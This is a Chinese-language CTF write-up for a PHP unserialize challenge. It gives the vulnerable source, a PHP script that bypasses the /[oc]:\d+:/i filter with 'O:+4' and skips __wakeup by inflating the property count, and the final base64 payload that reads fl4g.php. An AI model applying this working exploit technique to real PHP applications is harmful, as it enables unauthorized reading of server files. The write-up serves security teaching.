進入靶場
進入靶場
<?php
// 定義一個名為 Demo 的類
class Demo { // 定義一個私有屬性 $file,默認值為 'index.php'private $file = 'index.php';// 構造函數,當創建類的實例時會自動調用// 接收一個參數 $file,用于初始化對象的 $file 屬性public function __construct($file) { $this->file = $file; }// 析構函數,當對象被銷毀時自動調用// 使用 highlight_file 函數以高亮語法顯示 $this->file 指定的文件內容// @ 符號用于抑制可能出現的錯誤信息// true 參數表示將高亮顯示的內容作為字符串返回,而不是直接輸出function __destruct() { echo @highlight_file($this->file, true); }// __wakeup 魔術方法,當對象被反序列化時自動調用// 該方法用于檢查反序列化后的 $this->file 屬性值// 如果 $this->file 不等于 'index.php',則將其重置為 'index.php'// 注釋中提示秘密在 fl4g.php 文件中function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}
// 檢查是否通過 GET 請求傳遞了名為 'var' 的參數
if (isset($_GET['var'])) { // 如果存在 'var' 參數,對其進行 Base64 解碼$var = base64_decode($_GET['var']); // 使用正則表達式檢查解碼后的字符串中是否包含特定格式的字符串// /[oc]:\d+:/i 用于匹配以 'o' 或 'c' 開頭,后面跟著一個冒號,再跟著一個或多個數字,最后再跟著一個冒號的字符串// i 修飾符表示不區分大小寫if (preg_match('/[oc]:\d+:/i', $var)) { // 如果匹配到,則輸出 'stop hacking!' 并終止腳本執行die('stop hacking!'); } else {// 如果沒有匹配到,則嘗試對解碼后的字符串進行反序列化// @ 符號用于抑制可能出現的錯誤信息@unserialize($var); }
} else { // 如果沒有傳遞 'var' 參數,則以高亮語法顯示當前文件(index.php)的內容highlight_file("index.php");
}
?>
我們要繞過unserialize函數、preg—match函數、wakeup函數、解碼函數
考點分析
- PHP 反序列化:理解 PHP 對象的序列化和反序列化機制,以及如何利用反序列化過程中調用的魔術方法(如?
__destruct
、__wakeup
)來執行特定操作。 - 正則過濾繞過:代碼中使用正則表達式?
/[oc]:\d+:/i
?對輸入進行過濾,需要思考如何繞過這個過濾機制。 - 文件包含:通過控制?
$file
?屬性的值,利用?highlight_file
?函數讀取目標文件內容。
解題思路
- 構造序列化對象:創建一個?
Demo
?類的對象,并將?$file
?屬性設置為目標文件(如?fl4g.php
),然后對該對象進行序列化。 - 繞過?
__wakeup
?方法:__wakeup
?方法會在反序列化時將?$file
?屬性重置為?index.php
,需要找到繞過該方法的方法。 - 繞過正則過濾:輸入的序列化字符串不能包含正則表達式?
/[oc]:\d+:/i
?匹配的內容。 - Base64 編碼:將處理后的序列化字符串進行 Base64 編碼,作為?
var
?參數傳遞給腳本。
php在線運行,在線工具,在線編譯IDE_w3cschool
?
<?php
// 定義一個名為 Demo 的類
class Demo { // 定義一個私有屬性 $file,初始值為 'fl4g.php',此文件可能包含我們要找的 flag 信息private $file = 'fl4g.php';
}// 創建一個 Demo 類的實例,并對該實例進行序列化操作
// 序列化是將對象轉換為一個字符串,以便于存儲或傳輸
$a = serialize(new Demo);// 原代碼中的正則表達式 /[oc]:\d+:/i 會匹配以 'o' 或 'c' 開頭,后跟冒號、一個或多個數字,再跟冒號的字符串
// 這里將序列化字符串中的 'O:4' 替換為 'O:+4',是為了繞過 preg_match() 函數的正則匹配
// 因為替換后的字符串不再符合正則表達式的匹配規則,從而避免被檢測為惡意輸入
$a = str_replace('O:4', 'O:+4',$a);// 在 PHP 反序列化時,如果對象的屬性個數與序列化字符串中聲明的屬性個數不一致
// 且序列化字符串中聲明的屬性個數大于實際屬性個數時,__wakeup() 魔術方法將不會被調用
// Demo 類實際只有一個屬性,這里將序列化字符串中的 ':1:'(表示有 1 個屬性)替換為 ':2:'
// 以此繞過 __wakeup() 方法,防止其將 $file 屬性重置為 'index.php'
$a = str_replace(':1:', ':2:',$a);// 最后對處理后的序列化字符串進行 Base64 編碼
// 因為原題目代碼會對傳入的 'var' 參數進行 Base64 解碼操作
// 這樣編碼后得到的字符串可以作為 'var' 參數的值傳遞給原題目代碼進行反序列化操作
echo base64_encode($a);
?>
?
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
筆記?
需要對序列化十分熟悉
?
?